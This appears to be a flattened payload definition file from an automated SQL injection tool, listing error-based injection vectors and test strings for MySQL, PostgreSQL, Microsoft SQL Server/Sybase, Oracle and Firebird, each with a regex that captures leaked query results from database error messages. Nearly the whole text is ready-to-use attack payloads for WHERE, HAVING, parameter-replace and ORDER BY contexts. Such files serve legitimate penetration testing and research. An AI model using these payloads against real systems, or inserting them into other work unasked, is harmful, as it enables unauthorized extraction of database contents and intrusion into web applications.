MySQL >= 5.0 AND error-based - WHERE or HAVING clause 2 1 0 1 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE) 2 2 0 1 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML) 2 3 0 1 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 AND error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 4 0 1 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 4.1 AND error-based - WHERE or HAVING clause 2 2 0 1 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
PostgreSQL AND error-based - WHERE or HAVING clause 2 1 0 1 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause 2 1 0 1 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) 2 2 0 1 1 AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Oracle AND error-based - WHERE or HAVING clause (XMLType) 2 1 0 1 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 2 0 1 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 3 0 1 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird AND error-based - WHERE or HAVING clause 2 2 0 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
MySQL >= 5.0 OR error-based - WHERE or HAVING clause 2 2 2 1 2 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE) 2 3 2 1 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML) 2 4 2 1 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 5 2 1 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 4.1 OR error-based - WHERE or HAVING clause 2 2 2 1 2 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
MySQL OR error-based - WHERE or HAVING clause 2 3 2 1 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) # [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL OR error-based - WHERE or HAVING clause 2 2 2 1 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause 2 2 2 1 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) 2 3 2 1 2 OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Oracle OR error-based - WHERE or HAVING clause (XMLType) 2 2 2 1 2 OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 3 2 1 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 4 2 1 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird OR error-based - WHERE or HAVING clause 2 3 2 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 2 0 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.0 error-based - Parameter replace 2 3 0 1,2,3 3 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) 2 3 0 1,2,3 3 (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) 2 4 0 1,2,3 3 (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 5 0 1,2,3 3 (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
PostgreSQL error-based - Parameter replace 2 3 0 1,2,3 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - Parameter replace 2 3 0 1,3 3 (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) 2 4 0 1,3 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Oracle error-based - Parameter replace 2 3 0 1,3 3 (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - Parameter replace 2 4 0 1,3 3 (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses 2 3 0 2,3 1 ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE) 2 3 0 2,3 1 ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML) 2 4 0 2,3 1 ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 error-based - GROUP BY and ORDER BY clauses (BIGINT UNSIGNED) 2 5 0 2,3 1 ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
PostgreSQL error-based - GROUP BY and ORDER BY clauses 2 3 0 2,3 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - ORDER BY clause 2 3 0 3 1 ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) ,(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Oracle error-based - GROUP BY and ORDER BY clauses 2 3 0 2,3 1 ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle